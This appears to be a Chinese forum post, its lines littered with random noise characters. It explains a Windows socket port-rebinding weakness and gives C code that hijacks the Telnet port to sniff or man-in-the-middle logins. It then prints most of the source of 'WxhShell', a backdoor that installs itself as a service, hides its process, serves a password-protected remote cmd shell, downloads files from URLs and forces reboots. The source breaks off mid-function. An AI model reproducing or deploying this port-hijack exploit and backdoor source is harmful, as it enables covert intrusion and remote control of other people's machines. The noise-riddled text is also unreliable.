在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
2'<[7! s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
n?urE-_ 4T<Lgb saddr.sin_family = AF_INET;
)){9&5,0: IMl!,(6; saddr.sin_addr.s_addr = htonl(INADDR_ANY);
^~HQC* ?EK?b
s bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
~ Yngkt 13&0rLS 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
^T,Gu-2> H'UR8% 这意味着什么?意味着可以进行如下的攻击:
T,OwM\`.X{ -tI'3oT1 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
-}6xoF? OOz[-j>'Y+ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
W$Yc'E
; Pv+5K*"7Cg 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
V@QK TSsKfexQ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
mTEx,
.pvV1JA' 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
RTu4@7XP Wt9Q;hK 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Q9&kJ%Mo 3QOUU,Dt$ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
a9?y`{%L R?EASc!b #include
}AvcoD/b #include
N9<Ujom #include
h}Wdh1.M3 #include
1uk0d`JL DWORD WINAPI ClientThread(LPVOID lpParam);
a`u
S[r> int main()
|fY/i]
Ax {
KB!|B.ChN( WORD wVersionRequested;
;eZ#b jw-d DWORD ret;
$eBX WSADATA wsaData;
;u(Du-Os! BOOL val;
OLj\-w^ SOCKADDR_IN saddr;
nPgeLG"00 SOCKADDR_IN scaddr;
W Qc> int err;
=60~UM SOCKET s;
q(5+xSg"gK SOCKET sc;
P0-Fc@&Y int caddsize;
x/:4{ HANDLE mt;
:ECi+DxBK DWORD tid;
}V|{lvt. wVersionRequested = MAKEWORD( 2, 2 );
sW^a`VM err = WSAStartup( wVersionRequested, &wsaData );
=_8Tp~j if ( err != 0 ) {
`j9$T:` printf("error!WSAStartup failed!\n");
m3g2b _; return -1;
`ZaT}#Y }
R,
8s_jN saddr.sin_family = AF_INET;
35*\_9/# ;!T{%-tP //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
cubk]~VD nB ". '= saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
*AIEl"29 saddr.sin_port = htons(23);
ro[Y-o5Q0 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
X+n`qiwq {
\ M/6m^zS printf("error!socket failed!\n");
Z2bcCIq4 return -1;
J%]D%2vnk` }
#9LzY
val = TRUE;
H2-28XGc //SO_REUSEADDR选项就是可以实现端口重绑定的
cDXsi#Raj if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
VRW]a {
AP\ofLmq printf("error!setsockopt failed!\n");
v1.q$ f^( return -1;
Us~ X9n_F }
!z
zW2> //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
qYp$fmj //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
efuK //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
kDz>r#% wn11\j& if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
[W,-1.$!dM {
n|4;Hn1V ret=GetLastError();
hD<f3_k printf("error!bind failed!\n");
h.whjiCFa return -1;
*xM/;) }
[&P`ak listen(s,2);
Ld|V^9h1; while(1)
~L+]n0* {
^Dx#7bsDZR caddsize = sizeof(scaddr);
4rU!4l //接受连接请求
4o9$bv sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
aP>37s if(sc!=INVALID_SOCKET)
*,\` o~ {
'?Iif#Z1 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
"L2 m-e6 if(mt==NULL)
X^@[G8v% {
Z# Lx_*p]Q printf("Thread Creat Failed!\n");
[D'Gr*5~{ break;
ZcryAm:I }
f3
] }
o VB"f CloseHandle(mt);
I/UQ' xx }
V_L[P9 closesocket(s);
CM~MoV[k7e WSACleanup();
-'C!"\% return 0;
a]VGUW- }
]RFdLV? DWORD WINAPI ClientThread(LPVOID lpParam)
-rDz~M+ {
[l[{6ZXt SOCKET ss = (SOCKET)lpParam;
Eqphd!\#6 SOCKET sc;
@%@zH%b unsigned char buf[4096];
3DoRE2} SOCKADDR_IN saddr;
a%~yol0wO7 long num;
Z|`fHO3j DWORD val;
=wA5P@ DWORD ret;
Rk<%r k //如果是隐藏端口应用的话,可以在此处加一些判断
DA
LQ<iF //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
EE%s<_k` saddr.sin_family = AF_INET;
M g!ra" saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Y5jYmP< saddr.sin_port = htons(23);
If}lJ6jZ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
;1LG&h,K {
KP~-$NR printf("error!socket failed!\n");
!.+"4TF return -1;
J`Oy .Qu) }
cztS]dcf>~ val = 100;
w6EI{ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
|R'i:= {
]M4NpUM ret = GetLastError();
~Ob8i 1S> return -1;
:k1$g+(lP }
Z! YpklZ?~ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
4
10:%WGc {
ULvVD6RQ47 ret = GetLastError();
&] 3:D return -1;
!s-/0ugZ }
w<d*#$[,* if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
&`PbO {
RWahsJTu printf("error!socket connect failed!\n");
L<@&nx closesocket(sc);
$'$>UFR closesocket(ss);
R|t;p!T return -1;
# ,P(isEZ" }
Gj`f--2GE while(1)
Ve14rn {
%vc'{`P //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
^W['A]l //如果是嗅探内容的话,可以再此处进行内容分析和记录
MxN]7 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
A[ 1)!e num = recv(ss,buf,4096,0);
~_}4jnC if(num>0)
J<_ 1z':W) send(sc,buf,num,0);
XZ@>]P else if(num==0)
R`C.ha break;
x<Se>+
num = recv(sc,buf,4096,0);
{Tx 3$eU if(num>0)
K.h]JD]o send(ss,buf,num,0);
Fd"WlBYy0 else if(num==0)
f%1wMOzx break;
$SF3odpt }
Th+|*=Il closesocket(ss);
HWR&C closesocket(sc);
k6g|7^es2 return 0 ;
U]j&cFbn5_ }
u<q)SQ1 jf7pl8gv Y\>\[*.v ==========================================================
!47A$sQ
'WzUu MCx 下边附上一个代码,,WXhSHELL
Q=XA"R $9m5bQcV ==========================================================
U$EM.ot <tQXK; #include "stdafx.h"
83xd@-czgh TA9dkYlE/ #include <stdio.h>
YUS?]~XC7x #include <string.h>
165WO}(;/ #include <windows.h>
2HVCXegq #include <winsock2.h>
|lHFo{8" #include <winsvc.h>
KF4see;; #include <urlmon.h>
9!S^^;PN& Zr R+QV #pragma comment (lib, "Ws2_32.lib")
I~'gK8<e7 #pragma comment (lib, "urlmon.lib")
*p"O*zj 5{fwlA #define MAX_USER 100 // 最大客户端连接数
:b,o B==% #define BUF_SOCK 200 // sock buffer
[Z% l. #define KEY_BUFF 255 // 输入 buffer
<mn-=#) &X7ttB"#h #define REBOOT 0 // 重启
,{TQ
~LP #define SHUTDOWN 1 // 关机
t*rp3BIG EUXV/QV{ #define DEF_PORT 5000 // 监听端口
iGyVG41U 4Q/r[x/&C #define REG_LEN 16 // 注册表键长度
A<;0L . J #define SVC_LEN 80 // NT服务名长度
I &cX8Tw 9`,,%vdj // 从dll定义API
C*]AL/ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
n\
Gg6Y typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
eFes+i( 35 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
5GUH;o1m typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
wz)m{:b< =yo=q)W // wxhshell配置信息
4&H+hN{3 struct WSCFG {
TVj1C int ws_port; // 监听端口
&(WE]ziuO char ws_passstr[REG_LEN]; // 口令
uq]iMz> int ws_autoins; // 安装标记, 1=yes 0=no
4=UI3 2v3 char ws_regname[REG_LEN]; // 注册表键名
w8U2y/:> char ws_svcname[REG_LEN]; // 服务名
<xC:Ant char ws_svcdisp[SVC_LEN]; // 服务显示名
Fv;u1Atiw char ws_svcdesc[SVC_LEN]; // 服务描述信息
vFR
1UPF char ws_passmsg[SVC_LEN]; // 密码输入提示信息
#[C<
J#; int ws_downexe; // 下载执行标记, 1=yes 0=no
=sL(^UISl char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
6O%=G3I char ws_filenam[SVC_LEN]; // 下载后保存的文件名
cy9N:MR(c cyDiA(ot& };
~S!L!qY -aA<.+ // default Wxhshell configuration
my=*zziN struct WSCFG wscfg={DEF_PORT,
?!_u,sT "xuhuanlingzhe",
YlG;A\]k 1,
E#8J+7 "Wxhshell",
-uO%[/h;N "Wxhshell",
iczs8gj* "WxhShell Service",
z{@=_5; "Wrsky Windows CmdShell Service",
A"`L~|& "Please Input Your Password: ",
M3)v-" 1,
R<_mK33hd "
http://www.wrsky.com/wxhshell.exe",
2c!h2$w "Wxhshell.exe"
>_n:_ };
XlE$. }#YIl@E // 消息定义模块
g2!0vB> char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
e1:u1(". char *msg_ws_prompt="\n\r? for help\n\r#>";
d5N)^\z char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
p.qrf7N$ char *msg_ws_ext="\n\rExit.";
qT
5WaO) char *msg_ws_end="\n\rQuit.";
#}nBS-+ char *msg_ws_boot="\n\rReboot...";
$0ym_6n char *msg_ws_poff="\n\rShutdown...";
U$MWsDn
char *msg_ws_down="\n\rSave to ";
B'NS&7+]. 9)1P+c-- char *msg_ws_err="\n\rErr!";
B b$S^F(Xq char *msg_ws_ok="\n\rOK!";
Rv0-vH.n W^-hMT]uD char ExeFile[MAX_PATH];
hQ\#Fhu7 int nUser = 0;
-Mit$mFn HANDLE handles[MAX_USER];
r[Z g 2 int OsIsNt;
{\
A_% ^[k6]1h SERVICE_STATUS serviceStatus;
K'>P!R:El SERVICE_STATUS_HANDLE hServiceStatusHandle;
l!xgtP K IEKMa // 函数声明
C!CaGf= int Install(void);
Fmy1nZ int Uninstall(void);
ABd153oW" int DownloadFile(char *sURL, SOCKET wsh);
8JQ<LrIt9 int Boot(int flag);
}M;sz void HideProc(void);
X`8Y[Vb3}
int GetOsVer(void);
pT|./ Fe int Wxhshell(SOCKET wsl);
$IZ*|>( void TalkWithClient(void *cs);
s0x@
u int CmdShell(SOCKET sock);
kfH9Y%bOy int StartFromService(void);
!NlB%cF int StartWxhshell(LPSTR lpCmdLine);
]W89.><%14 n=lggBRx VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
c80"8r VOID WINAPI NTServiceHandler( DWORD fdwControl );
DN2hv2 KFCQYdI`d // 数据结构和表定义
wWp?HDl"M SERVICE_TABLE_ENTRY DispatchTable[] =
tyBg7dP {
F(0pru4u {wscfg.ws_svcname, NTServiceMain},
a,en8+r] {NULL, NULL}
#c8" };
C?_t8G./_ &utS\-;G // 自我安装
Pl`Bd0 int Install(void)
W$x K^} {
n^g-` char svExeFile[MAX_PATH];
>KH(nc$ HKEY key;
!XG/,)A strcpy(svExeFile,ExeFile);
{&6l\| [346w
< // 如果是win9x系统,修改注册表设为自启动
Th I if(!OsIsNt) {
$D0)j(v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
0B#rqTEKu RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
mP`,I"u RegCloseKey(key);
#t5JUi%in* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
>d1aE)? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
{|t? RegCloseKey(key);
/9t*CEu\ return 0;
D*<8e?F }
dja9XWOg }
\!?
PhNv }
dUBVp 9PB else {
:$) aMEq o
=jX // 如果是NT以上系统,安装为系统服务
2=/-d$ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
zmrX%!CW if (schSCManager!=0)
Y6[] wUJ {
DU*Hnii SC_HANDLE schService = CreateService
exa}dh/uC (
j[Hg] schSCManager,
DVeF(Y3& wscfg.ws_svcname,
@Reh?]# v wscfg.ws_svcdisp,
P^o"PKA SERVICE_ALL_ACCESS,
-v/?> SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
AmrJ_YP/t~ SERVICE_AUTO_START,
3oNt]2w/' SERVICE_ERROR_NORMAL,
]c~ rPi svExeFile,
b W`)CWd NULL,
PhI{3B/ NULL,
f(zuRM^5 NULL,
>ZOZv NULL,
;9- 4J NULL
's%ct}y\J );
ir1RAmt% if (schService!=0)
Jq=>H@il {
Qcy+ {j] CloseServiceHandle(schService);
;_;H(%uY CloseServiceHandle(schSCManager);
NEjBjLJZ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
^{:[^$f:l strcat(svExeFile,wscfg.ws_svcname);
`04Y ;@w if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
$4fjSSB~ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
$;g%S0:3) RegCloseKey(key);
q0xE&[C[M return 0;
e>s.mH6A }
'TEwU0<% }
.Jnp{Tet CloseServiceHandle(schSCManager);
3k|~tVM }
2oNPR+
- }
4$#ia
F SJY"]7 return 1;
T<_1|eH }
e^K=8IW FCw
VVF0y // 自我卸载
2* cKFv{ int Uninstall(void)
FnU{C= P {
I "+|cFq. HKEY key;
62KW
HB9S >G -?e! if(!OsIsNt) {
MYW 4@# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
OYCFx2{ RegDeleteValue(key,wscfg.ws_regname);
,4?|}xg RegCloseKey(key);
hJL0M! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
EJiF_ RegDeleteValue(key,wscfg.ws_regname);
U#^:f7-$. RegCloseKey(key);
I n%yMH8 return 0;
1Y"y!\t7G }
GCmVmOdKr }
7H@Cy}a }
. KSr@Gz else {
(\[!,T"[ E EnTq SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
(]#
JpQ if (schSCManager!=0)
"q#kh,-C {
9\;/-0P SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Y3F.hk}O if (schService!=0)
41_sSqq;^ {
Tx&qp#FS if(DeleteService(schService)!=0) {
K,T]Fuy CloseServiceHandle(schService);
X+G*Q}5 CloseServiceHandle(schSCManager);
Vu8-Cy>Q? return 0;
>ww1:Sn }
R^w >aZoJ CloseServiceHandle(schService);
?VHwYD.B }
5v03<m0`y CloseServiceHandle(schSCManager);
~+NFWNgN }
\|4MU"ri }
J}` $WL: )^a#Xn3z return 1;
[/`Hz]R }
GA@Q:n8UuR 70l;**"4 // 从指定url下载文件
~$`YzK^*X int DownloadFile(char *sURL, SOCKET wsh)
p!5JO4F$ {
OKH~Y-%< HRESULT hr;
4% .2= char seps[]= "/";
yeh adm\ char *token;
k*+ZLrT char *file;
oXOO 10 char myURL[MAX_PATH];
4OgGZ char myFILE[MAX_PATH];
in|7ucSlg At_Y$N: strcpy(myURL,sURL);
s)ajy^6'M token=strtok(myURL,seps);
1$!K2=%OXj while(token!=NULL)
@9Pn(fd] {
aLo>Yi file=token;
YedipYG9; token=strtok(NULL,seps);
[Z&s0f1Qb }
| gxB;
GG kj"_Y"q= GetCurrentDirectory(MAX_PATH,myFILE);
WX$^[^=HC strcat(myFILE, "\\");
544I#! strcat(myFILE, file);
u+T, n send(wsh,myFILE,strlen(myFILE),0);
SCC/
<o send(wsh,"...",3,0);
$ }bC$?^ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
\.-y
LS. if(hr==S_OK)
aNEy1-/(\ return 0;
RJm8K,3# else
-2~yc2:>A return 1;
]cY'6'}Hz wAwH8x LU }
i3!$M/_] ?At-
// 系统电源模块
m<HjL int Boot(int flag)
B=xZkc {
&K*_/Q
'\ HANDLE hToken;
ATkqzE`; TOKEN_PRIVILEGES tkp;
#6Ph"\G/ 8*){*'bf if(OsIsNt) {
CUM~* OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
DY27' `n6 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
.VV!$;
FB tkp.PrivilegeCount = 1;
0-O.*Q^ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
2xxwQwg8 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
\O4=mJ if(flag==REBOOT) {
s,q!(\{Pv if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
dfd%A"
I return 0;
B{u.Yc: }
F?4'>ZW else {
*qOCo_=P8 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
;a77YLTQ return 0;
?(hQZR
0e }
f
}e7g d]M }
*wx^mB9 else {
+Rd{ ?)2~ if(flag==REBOOT) {
25KZe s) if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
U?C{.@#w return 0;
O/"&?)[v }
7im;b15j`' else {
Bnc if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
89dC
bF3b return 0;
AH,F[vS }
:Bc;.% }
! (tJZ5 +\m!#CSA return 1;
eW<hC( }
No+zw% l0E $h
f\ #'J // win9x进程隐藏模块
Nd)o1{I void HideProc(void)
?*dx=UI {
ps
J 1J T}On:*& HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
M57(,#g if ( hKernel != NULL )
6u8fF|s {
a
OHAG pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Darkj>$\ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
L4-Pq\2 FreeLibrary(hKernel);
Y'R1\Go- }
5jk4k c .U
{JI\ return;
S-dV }
rrq-so1u}
'D{abm0 // 获取操作系统版本
k}gs;|_ int GetOsVer(void)
E':Z_ ^4 {
zK;t041e OSVERSIONINFO winfo;
351'l7F\ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
?Fw/c0 GetVersionEx(&winfo);
\`x'g)z(i if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
a#$%xw return 1;
'IszS!kY else
S?<Qa; return 0;
l"#,O$x"#@ }
V&85<Y%Nl| s*Ll\# // 客户端句柄模块
],4LvIPD int Wxhshell(SOCKET wsl)
[V~bo/n {
|-<L :% SOCKET wsh;
Reo0ZU> struct sockaddr_in client;
wtyu"=
DWORD myID;
e2F7G>q:5 sP!qv"u while(nUser<MAX_USER)
mer{Jys {
Rl8-a8j$f. int nSize=sizeof(client);
~VKXL,. wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
$T0[ if(wsh==INVALID_SOCKET) return 1;
sP7 (1)\ 2e=Hjf
)
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
$4]PN2d& if(handles[nUser]==0)
>i<-rO>kN closesocket(wsh);
9x\G(w else
@TDcj~oR? nUser++;
FT=>haN }
1C{n\_hR WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
*WG}K?"/ <NO~TBHF return 0;
/;1FZ<zU }
I&c#U+-A' RB!E>] // 关闭 socket
nm.d.A/]Z void CloseIt(SOCKET wsh)
%{"STbO #> {
hW&UG#PY> closesocket(wsh);
1g+<`1=KT nUser--;
V}?5=f' ExitThread(0);
DEhA8.v }
CXA8V"@&b/ hpu(MX\ // 客户端请求句柄
c#Bde-dh void TalkWithClient(void *cs)
m` cG&Ar5 {
1<UQJw45 o6oYJ`PY SOCKET wsh=(SOCKET)cs;
NGu]|p char pwd[SVC_LEN];
e^QOn char cmd[KEY_BUFF];
0Og =H79< char chr[1];
I6_+3}Hm{ int i,j;
oxZ(qfjS ~c"c9s+o while (nUser < MAX_USER) {
y-mmc}B>N xC(PH?_ if(wscfg.ws_passstr) {
^8)d8?} if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
*k -UQLJ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Z "u/8 //ZeroMemory(pwd,KEY_BUFF);
=v-D}eJQ= i=0;
B=7L+6 while(i<SVC_LEN) {
\T?O. ;Xns 9 // 设置超时
tti.- fd_set FdRead;
$6N.ykJ struct timeval TimeOut;
]Az >W*Y FD_ZERO(&FdRead);
QG.FW;/L, FD_SET(wsh,&FdRead);
HO>uS>+ TimeOut.tv_sec=8;
!*;)]j TimeOut.tv_usec=0;
AF
!_!qc; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
sXTO`W/ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
a/1{tDA X9J^Olq if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
9TLP( pwd
=chr[0]; l;4F,iI
if(chr[0]==0xd || chr[0]==0xa) { qM)^]2_-
pwd=0; /+iaw~={"
break; 5ym
=2U
} UT -=5
i++; ?QgWW
} e M}Xn^}
_F9
c.BH
// 如果是非法用户,关闭 socket ;%}
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J{Jxb1:c
} 4{TUoI6ii
rlq8J/0/+
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .dV!d u
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6O}r4*
c72/e7gV
while(1) { c!c!;(
3HD=)k
ZeroMemory(cmd,KEY_BUFF); s$Mj4_p3l
YAO0>T<F
// 自动支持客户端 telnet标准 j<[<qU:
j=0; d 9|u~3
while(j<KEY_BUFF) { PF~&!~S>W
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4D8q Gti
cmd[j]=chr[0]; f`Nu]#i
if(chr[0]==0xa || chr[0]==0xd) { {,m!%FDL
cmd[j]=0; L_(|5#IDw
break; .3[YOM7h
} |b@-1
j++; KM6r}CDHs
} "(5M }5D
w*?JW
// 下载文件 F
1BPzRo`
if(strstr(cmd,"http://")) { ^J327
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^U52
*6
if(DownloadFile(cmd,wsh)) S}>rsg!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); lp6GiF
else 7Y-GbG.'
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F~m tE8B:
} z;-2xD0&U[
else { P_9O8"W
)vw3Y88
switch(cmd[0]) { ~o+u: ]
j=7 ]"%
// 帮助 `'~|DG}a
case '?': { ?D#Vh a
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u{si
break; &{$\]sv
} Fw|5A"9'a'
// 安装 iS"rMgq
case 'i': { x`$4
if(Install()) U7OW)tUf
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~
60J
else )Aj~ xA
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f@yST z;u
break; RtSk;U1
} rHMsA|xz6
// 卸载 t{$t3>p-t
case 'r': { hHdC/mR
if(Uninstall()) TOQvZ?_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); SQ@@79A
else ]LD@I;(_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RAe:$Iv$!v
break; PS>k67sI
} ex-`+cF
// 显示 wxhshell 所在路径 b*$^8%
case 'p': { }hGbF"clqg
char svExeFile[MAX_PATH]; 419t"1b
strcpy(svExeFile,"\n\r"); L%!jj7,9-
strcat(svExeFile,ExeFile); #CM2FN:W
send(wsh,svExeFile,strlen(svExeFile),0); )yjHABGJ
break; &AW?!rH
} `jP6;i
// 重启 DJeG
case 'b': { b.$Gc!g
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =!7yX;|
if(Boot(REBOOT)) {1FYHM^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); vHWw*gg(/E
else { x
ha!.&DO
closesocket(wsh); .*8.{n5
ExitThread(0); na <g
/&
} /q8n_NR
break; \OOj]gAe
} vQA: \!
// 关机 tvP"t{C6,
case 'd': { JTx&_Ok#
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); REw!@Y."
if(Boot(SHUTDOWN)) tvI~?\Ylj
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )5B90[M|t
else { )
~X\W\
closesocket(wsh); pmfyvkLS
ExitThread(0); C0'Tua'
} GMFp,Df
break; ++xEMP)
} KVJiCdg-
// 获取shell DI+kO(S
case 's': { -BR&b2
CmdShell(wsh); Ucv-}oa-?
closesocket(wsh); HZR~r:_
i
ExitThread(0); NX$$4<A1
break; uRJLSt9m
} f ^z7K
// 退出 (ZDRjBth[
case 'x': { xZBmQ:s',S
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PZQ}G*p3
CloseIt(wsh); Krz[ f
break; NFsMc0{
} %A?Ym33
// 离开 SZEX;M
case 'q': { koe&7\ _@
send(wsh,msg_ws_end,strlen(msg_ws_end),0); x2;92I{5C,
closesocket(wsh); QO0T<V
WSACleanup(); BH\qm
(X
exit(1); aiea&aJ
break; zf#V89!]C"
} j&ddpS(s
} 4u A;--j
} g {wDI7"<q
JeuW/:Wv
// 提示信息 &`{%0r[UD#
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 87y$=eZ
} Jo_h?{"L{
} s>^*GQw
(Zx;GS
return; zkB_$=sbn#
} SxNs
}wz )"
// shell模块句柄 |0BmEF
int CmdShell(SOCKET sock) dX` _Y
{ 9_oIAn:<
STARTUPINFO si; {}[S,L
ZeroMemory(&si,sizeof(si)); .F&\xa{
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H"6:!;9,
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h$y1"!N(
PROCESS_INFORMATION ProcessInfo; 27}k63 \
char cmdline[]="cmd"; S-g`rTx
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $wAVM/u&
return 0; 'Q?nU^:F#
} IKH#[jW'IB
5Tkh6 s
// 自身启动模式 =]E;wWC
int StartFromService(void) j?#S M!f
{ e$fxC-sZ
typedef struct ="z\
{ WADNr8.
DWORD ExitStatus; g.Z>9(>;Y
DWORD PebBaseAddress; ~\(U&2t
DWORD AffinityMask; r)q6^|~47
DWORD BasePriority; j'I$F1>Te
ULONG UniqueProcessId; K'7i$bl%
